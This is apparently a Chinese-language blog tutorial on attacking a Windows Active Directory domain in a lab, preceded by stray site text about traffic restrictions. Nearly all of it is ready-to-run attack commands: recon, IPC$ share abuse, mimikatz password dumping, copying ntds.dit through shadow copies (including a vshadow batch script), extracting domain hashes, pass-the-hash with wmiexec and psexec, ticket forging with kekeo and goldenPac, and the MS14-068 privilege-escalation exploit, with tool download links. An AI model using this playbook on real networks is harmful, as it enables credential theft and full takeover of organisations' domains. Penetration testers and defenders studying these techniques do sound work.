windows域渗透实战

提示：扫一扫查出行
【扫一扫了解最新限行尾号】
复制提示

测试环境

域控： 192.168.211.130已经控制的机器： 192.168.211.133

获取网络信息

查看机器的网络信息

ipconfig /all # 查看网卡信息，获取dns 服务器ip (域控) arp -a # 搜集内网信息

net view #查看网络中的机器 net view /domain # 查看网络中的域 net view /domain:domainhack # 查看 domainhack 域中的机器

通过 ping 机器名 可以获取 ip

查找域控

dsquery server net time /domain ipconfig /all 查看 dns 信息端口扫描，域控服务器会开放389端口，如果和DNS同服务器，那么也会有53

ipc$ 攻击

net view 192.168.211.130 #查看共享 net use \\192.168.211.130\ipc$ password /user:hacker # ipc$ 连接

如果有共享的话，直接 copy 复制文件，然后 at 执行。

获取 hash

直接抓

使用 mimikatz 抓取登录过的明文

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > pssword.txt

导出 `ntds.dit`, 获取 `hash`

导出 ntds.dit

方法一 ntdsutil

ntdsutil snapshot "List All" quit quit # 列举快照 ntdsutil snapshot "activate instance ntds" create quit quit # 创建快照 ntdsutil snapshot "mount {77e43351-f29c-4bb2-86ad-cc6b7610589d}" # 挂载快照 copy C:\$SNAP_201803152221_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit #复制ntds.dit

操作完后记得删除快照

方法二 vssadmin

vssadmin list shadows # 查询当前系统的快照 vssadmin create shadow /for=c: #创建快照 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\NTDS\ntds.dit c:\ntds.dit # 复制ntds.dit vssadmin delete shadows /for=c: /quiet #删除快照

方法三 vshadow

下载链接

http://edgylogic.com/blog/vshadow-exe-versions/

创建 a.bat

setlocal if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK set SOURCE_DRIVE_LETTER=%SystemDrive% set SOURCE_RELATIVE_PATH=\windows\ntds\ntds.dit set DESTINATION_PATH=%~dp0 @echo ...Determine the scripts to be executed/generated... set CALLBACK_SCRIPT=%~dpnx0 set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd @echo ...Creating the shadow copy... "%~dp0vshadow-2008-x64.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER% del /f %TEMP_GENERATED_SCRIPT% @goto :EOF :IS_CALLBACK setlocal @echo ...Obtaining the shadow copy device name... call %TEMP_GENERATED_SCRIPT% @echo ...Copying from the shadow copy to the destination path... copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%

把 vshadow-2008-x64.exe 放到 a.bat 同级目录（win 2008为例）

然后 cmd /c start a.bat 调用之，就会在 a.bat 目录下生成 ntds.dit

然后使用

获取 system.hiv

reg save hklm\system system.hiv

QuarksPwDump.exe 导出 hash

QuarksPwDump.exe --dump-hash-domain --with-history --ntds-file ntds.dit --system-file system.hiv

pass-the-hash 攻击

wmiexec

下载地址

https://github.com/maaaaz/impacket-examples-windows

wmiexec -hashes AAD3B435B51404EEAAD3B435B51404EE:A812E6C2DEFCB0A7B80868F9F3C88D09 domainhack/Administrator@192.168.211.130 "whoami"domainhack 为域名 Administrator 域用户 192.168.211.130 目标 IP

psexec

psexec.exe -hashes AAD3B435B51404EEAAD3B435B51404EE:A812E6C2DEFCB0A7B80868F9F3C88D09 domainhack/Administrator@192.168.211.130 "whoami"

pass-the-ticket

goldenPac

要求：

域名，普通域用户账号密码，域控名

下载地址

https://github.com/maaaaz/impacket-examples-windows

直接获取域控system 权限的 cmd

goldenPac domainhack.com/hacker@domainc.domainhack.com goldenPac 域名/用户名@域控名称然后会要求输入密码

wce

要求：

域控用户名，hash (用前面的方法获取) 本机 administor 权限

wce -s Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:A812E6C2DEFCB0A7B80868F9F3C88D09

keko

下载地址

https://github.com/gentilkiwi/kekeo

要求：

域控用户名，hash (用前面的方法获取)

生成票据 kekeo "tgt::ask /user:Administrator /domain:domainhack.com /ntlm:A812E6C2DEFCB0A7B80868F9F3C88D09"导入票据 kekeo "kerberos::ptt TGT_Administrator@DOMAINHACK.COM_krbtgt~domainhack.com@DOMAINHACK.COM.kirbi"

ms14-068.exe

下载地址

https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS14-068/MS14-068.exe

要求：

域控用户名，密码用户 sid # whoami /all 获取

执行命令

生成票据 ms14-068.exe -u hacker@domainhack.com -s S-1-5-21-2864277510-2444243591-773573486-1113 -d 192.168.211.130 -p qaz123!@#ms14-068.exe -u 用户名@域名 -s 用户sid -d 域控地址 -p 用户名密码导入票据Mimikatz.exe "kerberos::ptc TGT_hacker@domainhack.com.ccache"